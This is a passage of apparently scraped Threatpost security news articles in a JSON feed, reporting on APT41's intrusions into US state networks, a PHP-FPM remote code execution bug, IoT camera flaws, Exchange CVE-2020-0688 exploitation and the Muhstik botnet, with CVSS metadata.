farmers to speed their response to diseases and other threats to their livestock \u2013 has itself become an infection vector, used to pry open at least six U.S. state networks by one of China\u2019s most prolific state-sponsored espionage groups.\n\nIn a [report](<https://www.mandiant.com/resources/apt41-us-state-governments>) published by Mandiant on Tuesday, researchers described a prolonged incursion conducted by APT41. They detected the activity in May 2021 and tracked it through last month, February 2022, observing the spy group pry open vulnerable, internet-facing web apps that were often written in ASP.NET.\n\n[APT41](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>) \u2013 aka Winnti, Barium, [Wicked Panda](<https://threatpost.com/sidewalk-backdoor-china-espionage-grayfly/169310/>) or Wicked Spider \u2013 is an advanced persistent threat (APT) actor[ known for](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) nation state-backed [cyberespionage](<https://threatpost.com/china-hackers-spy-texts-messagetap-malware/149761/>), [supply-chain hits](<https://www.eset.com/us/about/newsroom/press-releases/eset-dissects-arsenal-of-supply-chain-attacks-by-the-winnti-group/>) and profit-driven cybercrime.\n\n## What\u2019s the Point?\n\nAPT41\u2019s goals are unknown, researchers said, though they\u2019ve observed evidence of the attackers exfiltrating personal identifiable information (PII).\n\n\u201cAlthough the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a definitive assessment at this time given APT41\u2019s history of moonlighting for personal financial gain,\u201d they wrote.\n\nTher investigations have also revealed a slew of new techniques, malware variants, evasion methods and capabilities.\n\n\u201cIn most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also observed APT41 exploiting SQL injection and directory traversal vulnerabilities,\u201d they said.\n\nA deserialization attack is one in which attackers exploit a vulnerability to insert malicious objects into a web app, while \u200b\u200bSQL injection is a type of attack that allows a cyberattacker to interfere with the queries that an application makes to its database.\n\nSQL injection attacks are typically carried out by inserting malicious SQL statements into an entry field used by the website (like a comment field). Directory traversal, aka path traversal, is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server\u2019s root directory.\n\n## Via Logs and a Cow-Tracking App\n\nTo hack into the states\u2019 neworks, the threat actor used a zero-day vulnerability ([CVE-2021-44207](<https://nvd.nist.gov/vuln/detail/CVE-2021-44207>)) in USAHerds (aka the Animal Health Emergency Reporting Diagnostic System), Mandiant reported. In the most recent campaigns, the actor also leveraged the now infamous zero-day in [Log4j](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) (CVE-2021-44228).\n\nThe USAHerd zero day flaw, which Acclaim Systems patched in November 2021, has to do with the app\u2019s use of hard-coded credentials to achieve remote code execution (RCE) on the system that runs it. The app is used in 18 states for animal health management.\n\nMandiant compared the bug to a previously reported vulnerability in Microsoft Exchange Server ([CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>)) \u2013 a bug that was still [under active attack](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) via ProxyShell attacks as of August 2021. The similarity between the two, researchers explained, is that \u201cthe applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default.\u201d\n\nAs a result, all installations of USAHerds shared these values, researchers explained, which is a no-no, being \u201cagainst the best practice of using uniquely generated machineKey values per application instance.\u201d\n\n\u201cGenerating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState,\u201d they cautioned.\n\nMandiant couldn\u2019t figure out how APT41 originally obtained the machineKey values for USAHerds, but once the threat actors got that machineKey, they used it to compromise \u201cany server on the Internet running USAHerds.\u201d\n\nThus, researchers said, there are likely more victims than the six state networks, though they don\u2019t know who or what those victims are.\n\nAs far as APT41\u2019s use of the trio of bugs collectively known as Log4Shell goes, it\u2019s hardly surprising: Within hours of the initial Log4J flaw\u2019s[ public disclosure](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>) on Dec. 10, 2021,[ attackers](<https://threatpost.com/patching-time-log4j-exploits-vaccine/177017/>) were scanning for vulnerable servers and[ unleashing quickly evolving attacks](<https://threatpost.com/apache-log4j-log4shell-mutations/176962/>) to drop coin-miners, Cobalt Strike, the Orcus remote access trojan (RAT), reverse bash shells for future attacks,[ Mirai and other botnets](<https://threatpost.com/log4shell-attacks-origin-botnet/176977/>), and backdoors. By January 2022, Mirosoft was observing rampant Log4j [exploit attempts](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) and testing.\n\nLog4Shell exploits cause Java to fetch and deserialize a remote Java object, resulting in potential code execution, Mandiant explained.\n\n\u201cSimilar to their previous web application targeting, APT41 continued to use [YSoSerial](<https://github.com/frohoff/ysoserial>) generated deserialization payloads to perform reconnaissance and deploy backdoors,\u201d according to the report.\n\n\u201cNotably, APT41 deployed a new variant of the[ KEYPLUG](<https://advantage.mandiant.com/malware/malware--4484e24c-fbf7-5894-90e2-4c6ed949ec6c>) backdoor on Linux servers at multiple victims, a malware sub-family we now track as[ KEYPLUG.LINUX](<https://advantage.mandiant.com/malware/malware--e9079969-5b46-5218-9915-3a6ebc566489>). KEYPLUG is a modular backdoor written in C++ that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS.\u201d\n\nAPT41 \u201cheavily\u201d used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, researchers said. \u201cThus, the deployment of a ported version of the backdoor closely following the state government campaign was significant.\u201d\n\nAfter exploiting Log4Shell, the hackers continued to use deserialization payloads to issue ping commands to domains, researchers said: one of APT41\u2019s favorite techniques, which it used to go after government victims months prior.\n\nAfter the group got access to a targeted environment, \u201cAPT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment,\u201d Mandiant said. The cybersecurity firm gave sample commands, shown below, which were used to deploy KEYPLUG.LINUX.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09154416/Deployment-of-KEYPLUG.LINUX-Following-Log4j-Exploitation-e1646858693371.png>)\n\nDeployment of KEYPLUG.LINUX Following Log4j Exploitation. Source: Mandiant.\n\n## A Swarm of Attacks\n\nIn one incident wherein Mandiant researchers spotted APT41 using SQL injection vulnerability in a proprietary web application to gain access, the attempt was quickly corralled. But two weeks later, the actor came back to compromise the network by exploiting the USAHerds zero day.\n\nThe hackers were coming after state agencies in rapid-fire, repeat attacks, they said. \u201cIn two other instances, Mandiant began an investigation at one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state,\u201d according to Mandiant.\n\nThe APT was nimble, rapidly shifting to use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining existing operations, according to the report.\n\nThe critical Log4J RCE vulnerability is a case in point: Within hours of the Dec. 10 advisory, APT41 began picking it apart. The attackers exploited Log4J to later compromise \u201cat least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries,\u201d Mandiant said.\n\n## A Taste for States\n\nThen, late last month, APT41 circled back to re-compromis two previous U.S. state government victims. \u201cOur ongoing investigations show the activity closely aligns with APT41\u2019s May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their unceasing desire to access state government networks,\u201d according to the researchers.\n\nMandiant sketched out a timeline, replicated below, showing the attacks against state government networks.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09151429/APT41_state_government_campaign_timeline-e1646857032834.jpg>)\n\nU.S. state government campaign timeline. Source: Mandiant.\n\n## APT 41 Still Quick on Its Feet\n\nMandiant outlined a catalog of updated tradecraft and new malware that shows that APT41 continues to be nimble, \u201chighly adaptable\u201d and \u201cresourceful.\u201d\n\n\u201cAPT41\u2019s recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise tools and techniques,\u201d researchers concluded.\n\n\u201cAPT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector, or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new attack vectors as opposed to holding onto them for future use,\u201d the researchers said.\n\nExploiting Log4J in close proximity to the USAHerds campaign is a case in point: it showed that the group\u2019s flexible when it comes to targeting U.S state governments \u201cthrough both cultivated and co-opted attack vectors,\u201d Mandiant said.\n\nSo much for the U.S. [indictment](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) of five alleged APT41 members in September 2020: a grand jury move that was as easy for the group to hop over as a flattened cow patty.\n\n\u201cThe scope and sophistication of the crimes in these unsealed indictments is unprecedented. The alleged criminal scheme used actors in China and Malaysia to illegally hack, intrude and steal information from victims worldwide,\u201d said Michael Sherwin, acting U.S. attorney for the District of Columbia,[ in a DoJ statement](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>) accompanying the Federal grand jury\u2019s 2020 indictment. \u201cAs set forth in the charging documents, some of these criminal actors believed their association with the PRC provided them free license to hack and steal across the globe.\u201d\n\nSeventeen months later, that still sounds about right to Mandiant: \u201cAPT41 continues to be undeterred,\u201d in spite of whatever the U.S. Department of Justice cares to throw in its path, researchers said.\n\nRegister Today for [**Log4j Exploit: Lessons Learned and Risk Reduction Best Practices**](<https://bit.ly/3BXPL6S>) \u2013 a LIVE **Threatpost event** sked for Thurs., March 10 at 2PM ET. Join Sonatype code **expert Justin Young** as he helps you sharpen code-hunting skills to reduce attacker dwell time. Learn why Log4j is still dangerous and how SBOMs fit into software supply-chain security. [Register Now for this one-time FREE event](<https://bit.ly/3BXPL6S>), Sponsored by Sonatype.\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-09T21:10:20", "type": "threatpost", "title": "APT41 Spies Broke Into 6 US State Networks via a Livestock App", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2021-44207", "CVE-2021-44228"], "modified": "2022-03-09T21:10:20", "id": "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "href": "https://threatpost.com/apt41-spies-broke-into-6-us-state-networks-via-livestock-app/178838/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-06T21:57:01", "description": "A buffer underflow bug in PHP could allow remote code-execution (RCE) on targeted NGINX servers.\n\nFirst discovered during a hCorem Capture the Flag competition in September, the bug (CVE-2019-11043) exists in the FastCGI directive used in some PHP implementations on NGINX servers, according to researchers at Wallarm.\n\nPHP powers about 30 percent of modern websites, including popular web platforms like WordPress and Drupal \u2013 but NGINX servers are only vulnerable if they have PHP-FPM enabled (a non-default optimization feature that allows servers to execute scripts faster). The issue [is patched](<https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest>) in PHP versions 7.3.11, 7.2.24 and 7.1.33, which were released last week.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn a [Monday posting](<https://github.com/search?q=fastcgi_split_path&type=Code>), Wallarm researchers said that the bug can be exploited by sending specially crafted packets to the server by using the \u201cfastcgi_split_path\u201d directive in the NGINX configuration file. That file is configured to process user data, such as a URL. If an attacker creates a special URL that includes a \u201c%0a\u201d (newline) byte, the server will send back more data than it should, which confuses the FastCGI mechanism.\n\n\u201cIn particular, [the bug can be exploited] in a fastcgi_split_path directive and a regexp trick with newlines,\u201d according to Wallarm security researcher Andrew Danau, who found the bug. \u201cBecause of %0a character, NGINX will set an empty value to this variable, and fastcgi+PHP will not expect this\u2026.[as a result], it\u2019s possible to put [in] arbitrary FastCGI variables, like PHP_VALUE.\u201d\n\nAnother security researcher participating in the CTF exercise, Emil Lerner, offered more details in the [PHP bug tracker](<https://bugs.php.net/bug.php?id=78599>): \u201cThe regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug,\u201d he said.\n\nLerner [posted a zero-day proof-of-concept](<https://github.com/neex/phuip-fpizdam/>) exploit for the flaw that works in PHP 7 to allow code execution. The exploit makes use of an optimization used for storing FastCGI variables, _fcgi_data_seg.\n\n\u201cUsually, that sort of [buffer underflow] response is related to memory-corruption attacks and we expected to see an attack on the type of information disclosure,\u201d Wallarm researchers said. \u201cInformation disclosure is bad enough as it can result in leaking sensitive or financial data. Even worse, from time to time, although quite rarely, such behavior can indicate a remote code-execution vulnerability.\u201d\n\nResearchers added that without patching, this issue can be a dangerous entry point into web applications given the trivial nature of mounting an exploit.\n\nAdmins can identify vulnerable FastCGI directives in their NGINX configurations with a bash command, \u201cegrep -Rin \u2013color \u2018fastcgi_split_path\u2019 /etc/nginx/,\u201d according to Wallarm.\n\n_**What are the top mistakes leading to data breaches at modern enterprises? Find out: Join experts from SpyCloud and Threatpost senior editor Tara Seals on our upcoming free **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**, \u201cTrends in Fortune 1000 Breach Exposure.\u201d **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-10-28T16:18:11", "type": "threatpost", "title": "PHP Bug Allows Remote Code-Execution on NGINX Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-28T16:18:11", "id": "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "href": "https://threatpost.com/php-bug-rce-nginx-servers/149593/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:06", "description": "Over 2 million IP security cameras, baby monitors and smart doorbells have serious vulnerabilities that could enable an attacker to hijack the devices and spy on their owners \u2014 and there\u2019s currently no known patch for the shared flaws.\n\nThe attack stems from peer-to-peer (P2P) communication technology in all of these Internet of Things (IoT) devices, which allows them to be accessed without any manual configuration. The particular P2P solution that they use, iLnkP2P, is developed by Shenzhen Yunni Technology and contains two vulnerabilities that could allow remote hackers to find and take over vulnerable cameras used in the devices.\n\n\u201cOver 2 million vulnerable devices have been identified on the internet, including those distributed by HiChip, TENVIS, SV3C, VStarcam, Wanscam, NEO Coolcam, Sricam, Eye Sight and HVCAM,\u201d said Paul Marrapese, a security engineer who discovered the flaws, in a [post last week](<https://hacked.camera/>). \u201cAffected devices use a component called iLnkP2P. Unfortunately, iLnkP2P is used by hundreds of other brands as well, making identification of vulnerable devices difficult.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe first iLnkP2P bug is an enumeration vulnerability ([CVE-2019-11219](<https://nvd.nist.gov/vuln/detail/CVE-2019-11219>)), which enables attackers to discover exploitable devices that are online. The second is an authentication vulnerability ([CVE-2019-11220](<https://nvd.nist.gov/vuln/detail/CVE-2019-11220>)) that allows remote attackers to intercept user-to-device traffic in cleartext, including video streams and device credentials.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29091449/security-camera-hack.png>)\n\nThe UID prefixes on devices known to be vulnerable.\n\nIoT device users can discover if they are impacted by looking at their device\u2019s UID, which is its unique identifier. The first prefix part of a UID indicates exploitability: For instance, devices with the FFFF prefix are among those that are vulnerable. A list of all the prefixes that are known to be vulnerable is available in the image to the left.\n\nMarrapese said that he sent an initial advisory to device vendors regarding the security issues Jan. 15; and an advisory to the developers of iLnkP2P on Feb. 4, once he was able to identify them. He said that he has not received any responses despite multiple attempts at contact. The vulnerabilities were publicly disclosed April 24.\n\nIf consumers are impacted, they should block outbound traffic to UDP port 32100, which prevents devices from being accessed from external networks through P2P. However, Marrapese said the main step users could take is to buy a new device.\n\n\u201cIdeally, buy a new device from a reputable vendor,\u201d he said. \u201cResearch suggests that a fix from vendors is unlikely, and these devices are often riddled with other security problems that put their owners at risk.\u201d\n\nIt\u2019s hardly the first security issue in security and surveillance cameras, which hold sensitive data and video footage ripe for the taking for hackers.\n\n[In July](<https://threatpost.com/security-glitch-in-iot-camera-enabled-remote-monitoring/134504/>), IoT camera maker Swann patched a flaw in its connected cameras that would allow a remote attacker to access their video feeds. And in September up to 800,000 IP-based closed-circuit television cameras [were vulnerable](<https://threatpost.com/zero-day-bug-allows-hackers-to-access-cctv-surveillance-cameras/137499/>) to a zero-day vulnerability that could have allowed hackers to access surveillance cameras, spy on and manipulate video feeds, or plant malware.\n\n\u201cSecurity cameras continue to be the oxymoron of the 21st century,\u201d Joe Lea, vice president of product at Armis, in an email. \u201cThis is a perfect storm of a security exposure for an IoT device \u2013 no authentication, no encryption, near impossible upgrade path. We have to stop enabling connectivity over security \u2013 this is a defining moment in how we see lack of security for devices and lack of response.\u201d\n\nIn a comment to Threatpost, Marrapese said that vendors have a big part to play when it comes to doing more to secure their connected devices.\n\n\u201cVendors need to stop relying on \u2018security through obscurity,'\u201d he said. \u201cThe use of deterrents is not sufficient; vendors need to develop serious application security practices.\u201d\n", "cvss3": {}, "published": "2019-04-29T13:37:40", "type": "threatpost", "title": "2 Million IoT Devices Vulnerable to Complete Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11219", "CVE-2019-11220", "CVE-2020-0688"], "modified": "2019-04-29T13:37:40", "id": "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "href": "https://threatpost.com/iot-devices-vulnerable-takeover/144167/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:09", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:F54F8338674294DE3D323ED03140CB71", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:46", "description": "Over 80 percent of exposed Exchange servers are still vulnerable to a severe vulnerability \u2013 nearly two months after the flaw was patched, and after researchers warned that multiple threat groups were exploiting it.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, opens servers up to authenticated attackers, who could execute code remotely on them with system privileges.\n\nResearchers recently used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw. Out of 433,464 internet-facing Exchange servers observed, at least 357,629 were vulnerable (as of March 24).\n\n[](<https://threatpost.com/newsletter-sign/>)\u201cIf your organization is using Exchange and you aren\u2019t sure whether it has been updated, we strongly urge you to skip to the Taking Action section immediately,\u201d said Tom Sellers, manager of the Rapid7 Labs team, in a [Monday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\nWhile the flaw was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates, researchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors. Attacks [first started late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\nBrian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program (which was credited with discovered the flaw) told [Threatpost via email](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that while the vulnerability was labelled \u201cimportant\u201d in severity by Microsoft, researchers opine it should be treated as \u201ccritical.\u201d\n\n\u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog,\u201d he said. \u201cWe felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\nThe patch management issues with Exchange servers extend beyond CVE-2020-0688. Sellers said his investigation revealed that over 31,000 Exchange 2010 servers have not been updated since 2012. And, there are nearly 800 Exchange 2010 servers that have never been updated, he said.\n\nSellers urged admins to verify that an update has been deployed. He also said users can determine whether anyone has attempted to exploit the vulnerability in their environment: \u201cSince exploitation requires a valid Exchange user account, any account tied to these attempts should be treated as compromised,\u201d Sellers said.\n\n> If your org uses Microsoft Exchange I *strongly* recommend you make sure the patch for CVE-2020-0688 (Feb 11) is installed.\n> \n> Unpatched means phished user = SYSTEM on OWA servers.[@Rapid7](<https://twitter.com/rapid7?ref_src=twsrc%5Etfw>) Project Sonar found at least 357,629 unpatched hosts.\n> \n> Blog post: <https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [April 6, 2020](<https://twitter.com/TomSellers/status/1247215382773018624?ref_src=twsrc%5Etfw>)\n\n\u201cThe most important step is to determine whether Exchange has been updated,\u201d Sellers said. \u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled. This will typically be servers with the Client Access Server (CAS) role, which is where your users would access Outlook Web App (OWA).\u201d\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-07T21:19:15", "type": "threatpost", "title": "Serious Exchange Flaw Still Plagues 350K Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-07T21:19:15", "id": "THREATPOST:DF7C78725F19B2637603E423E56656D4", "href": "https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:46", "description": "UPDATE\n\nA variant of the Muhstik botnet has been uncovered in the wild, exploiting a recently-disclosed, dangerous vulnerability in Oracle WebLogic servers.\n\nThe newfound samples of Muhstik are targeting the [recently-patched CVE-2019-2725](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) in WebLogic servers, and then launching distributed-denial-of-service (DDoS) and cryptojacking attacks with the aim of making money for the attacker behind the botnet, researchers said.\n\n\u201cFrom the timeline, we can see that the developer of Muhstik watches aggressively for new Linux service vulnerability exploits and takes immediate action to [incorporate] exploits against them into the botnet,\u201d Cong Zheng and Yanhui Jia, researchers with Palo Alto Network\u2019s Unit 42 team, said in a [Tuesday analysis](<https://unit42.paloaltonetworks.com/muhstik-botnet-exploits-the-latest-weblogic-vulnerability-for-cryptomining-and-ddos-attacks/>). \u201cThis makes sense, because the faster the botnet includes the new exploits, the greater chance of successfully using the vulnerability to harvest more bots before systems are patched.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nOracle WebLogic is a popular server used for building and deploying enterprise applications. The server\u2019s flaw ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)), meanwhile, has a CVSS score of 9.8 and is a remote code-execution (RCE) bug that is exploitable without authentication. Oracle patched the flaw on April 26.\n\nHowever, researchers first observed exploit traffic for the WebLogic vulnerability coming from three new Muhstik samples on April 28. Muhstik, which has been around since March 2018 and has wormlike self-propagating capabilities, is known to compromise Linux servers and IoT devices, and then launch cryptocurrency mining software and DDoS attacks.\n\nThey saw the exploit traffic being sent from the IP address 165.227.78[.]159, which was transmitting one shell command, to download a PHP webshell.\n\nInterestingly, that IP address (165.227.78[.]159) has previously been used by the Muhstik botnet as a mere reporting server to collect information on bots \u2013 but now, the IP address appears to also be used as a payload host server.\n\nThe discovery shows that new samples of the 